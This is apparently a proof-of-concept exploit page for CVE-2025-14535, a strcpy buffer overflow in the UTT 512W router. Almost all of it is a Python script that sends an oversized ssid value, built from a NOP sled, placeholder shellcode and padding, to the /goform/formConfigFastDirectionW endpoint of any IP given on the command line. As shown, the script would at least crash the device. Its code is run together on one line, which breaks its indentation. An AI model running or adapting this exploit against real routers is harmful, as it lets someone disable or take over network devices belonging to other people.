CVE-2025-14535 UTT 进取 512W路由器 strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-14535 PoC - UTT 进取 512W Buffer Overflow Target: /goform/formConfigFastDirectionW Vulnerability: strcpy buffer overflow via ssid parameter """ import requests import sys TARGET = "http://192.168.1.1" # Router default IP ENDPOINT = "/goform/formConfigFastDirectionW" def create_overflow_payload(length=1000): """Generate overflow payload with NOP sled and shellcode""" # NOP sled for better exploitation reliability nop_sled = b'\x90' * 200 # Minimal shellcode - spawn shell (may need adjustment for target architecture) # This is a placeholder - actual shellcode depends on target CPU architecture (MIPS typically) shellcode = b'\xcc' * 100 # INT3 for debugging padding = b'A' * (length - len(nop_sled) - len(shellcode)) return nop_sled + shellcode + padding def exploit_buffer_overflow(target_ip): """Send malicious request to trigger buffer overflow""" url = f"http://{target_ip}{ENDPOINT}" # Create overflow payload payload = { 'ssid': create_overflow_payload(1000), 'action': 'save' } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['ssid'])} bytes") try: response = requests.post(url, data=payload, timeout=10) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent - device may be crashed or exploited") print(f"[*] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "192.168.1.1" exploit_buffer_overflow(target)